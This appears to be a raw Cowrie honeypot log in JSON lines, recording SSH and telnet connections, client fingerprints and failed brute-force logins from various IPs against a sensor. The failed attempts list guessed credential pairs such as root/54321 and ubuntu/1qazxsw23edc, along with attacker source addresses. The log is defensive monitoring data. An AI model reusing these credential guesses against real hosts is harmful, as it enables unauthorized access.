{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:46.943586Z","src_ip":"81.192.46.32","session":"a4d02cbee4b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678Abc","message":"login attempt [ubuntu/12345678Abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:47.427662Z","src_ip":"81.192.46.32","session":"a4d02cbee4b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:47.744997Z","src_ip":"8.210.75.243","session":"9e5f3894d717","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:48.543156Z","src_ip":"81.192.46.32","session":"a4d02cbee4b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":57070,"dst_ip":"159.203.135.109","dst_port":22,"session":"131ccb0e903d","protocol":"ssh","message":"New connection: 159.65.58.200:57070 (159.203.135.109:22) [session: 131ccb0e903d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:50.492247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:50.620004Z","src_ip":"159.65.58.200","session":"131ccb0e903d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:50.626102Z","src_ip":"159.65.58.200","session":"131ccb0e903d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"strel","password":"123456","message":"login attempt [strel/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:51.719291Z","src_ip":"159.65.58.200","session":"131ccb0e903d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:53.036340Z","src_ip":"159.65.58.200","session":"131ccb0e903d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.35.200","src_port":34704,"dst_ip":"10.17.0.5","dst_port":22,"session":"1df00fccb829","protocol":"ssh","message":"New connection: 162.240.35.200:34704 (10.17.0.5:22) [session: 1df00fccb829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:56.598813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:56.601566Z","src_ip":"162.240.35.200","session":"1df00fccb829","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:56.683255Z","src_ip":"162.240.35.200","session":"1df00fccb829","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"farm789","message":"login attempt [root/farm789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:56.934867Z","src_ip":"162.240.35.200","session":"1df00fccb829","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:24:58.019288Z","src_ip":"162.240.35.200","session":"1df00fccb829","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37800,"dst_ip":"159.203.135.109","dst_port":23,"session":"966f94e46474","protocol":"telnet","message":"New connection: 170.64.224.25:37800 (159.203.135.109:23) [session: 966f94e46474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:01.296445Z"}
{"eventid":"cowrie.session.closed","duration":0.5668597221374512,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:01.863156Z","src_ip":"170.64.224.25","session":"966f94e46474","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.213.128","src_port":30292,"dst_ip":"10.17.0.5","dst_port":22,"session":"20ff8c5ea2a0","protocol":"ssh","message":"New connection: 123.58.213.128:30292 (10.17.0.5:22) [session: 20ff8c5ea2a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:09.938643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:09.943246Z","src_ip":"123.58.213.128","session":"20ff8c5ea2a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:10.171211Z","src_ip":"123.58.213.128","session":"20ff8c5ea2a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qazxsw23edc","message":"login attempt [ubuntu/1qazxsw23edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:11.089382Z","src_ip":"123.58.213.128","session":"20ff8c5ea2a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:12.315201Z","src_ip":"123.58.213.128","session":"20ff8c5ea2a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":43538,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bccaf31749d","protocol":"ssh","message":"New connection: 2.57.122.209:43538 (10.17.0.5:22) [session: 5bccaf31749d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:19.003218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:19.746431Z","src_ip":"2.57.122.209","session":"5bccaf31749d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:19.755257Z","src_ip":"2.57.122.209","session":"5bccaf31749d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"54321","message":"login attempt [root/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:21.743529Z","src_ip":"2.57.122.209","session":"5bccaf31749d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:23.272972Z","src_ip":"2.57.122.209","session":"5bccaf31749d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":49468,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1053e78b31b","protocol":"ssh","message":"New connection: 194.113.233.25:49468 (159.203.135.109:22) [session: d1053e78b31b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:24.122043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:24.125910Z","src_ip":"194.113.233.25","session":"d1053e78b31b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:24.218427Z","src_ip":"194.113.233.25","session":"d1053e78b31b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12091993","message":"login attempt [root/12091993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:24.497368Z","src_ip":"194.113.233.25","session":"d1053e78b31b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:25.593596Z","src_ip":"194.113.233.25","session":"d1053e78b31b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":57320,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d958da57cf2","protocol":"ssh","message":"New connection: 8.210.75.243:57320 (10.17.0.5:22) [session: 8d958da57cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:26.299983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:26.304159Z","src_ip":"8.210.75.243","session":"8d958da57cf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":41182,"dst_ip":"10.17.0.5","dst_port":22,"session":"bece2e7bb064","protocol":"ssh","message":"New connection: 8.210.75.243:41182 (10.17.0.5:22) [session: bece2e7bb064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:36.088255Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.220.174","src_port":55986,"dst_ip":"10.17.0.5","dst_port":22,"session":"b10539809859","protocol":"ssh","message":"New connection: 108.179.220.174:55986 (10.17.0.5:22) [session: b10539809859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:48.090466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:48.096507Z","src_ip":"108.179.220.174","session":"b10539809859","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:48.121433Z","src_ip":"108.179.220.174","session":"b10539809859","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"render2024","message":"login attempt [root/render2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:48.198523Z","src_ip":"108.179.220.174","session":"b10539809859","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:49.225459Z","src_ip":"108.179.220.174","session":"b10539809859","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.67.46.203","src_port":33508,"dst_ip":"10.17.0.5","dst_port":22,"session":"271e2ea59df4","protocol":"ssh","message":"New connection: 152.67.46.203:33508 (10.17.0.5:22) [session: 271e2ea59df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:51.325135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:51.329113Z","src_ip":"152.67.46.203","session":"271e2ea59df4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:51.442247Z","src_ip":"152.67.46.203","session":"271e2ea59df4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2014!","message":"login attempt [root/server2014!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:51.928241Z","src_ip":"152.67.46.203","session":"271e2ea59df4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:25:53.043835Z","src_ip":"152.67.46.203","session":"271e2ea59df4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":53120,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f0cbb0e0021","protocol":"ssh","message":"New connection: 8.210.75.243:53120 (10.17.0.5:22) [session: 3f0cbb0e0021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:26:05.090741Z"}
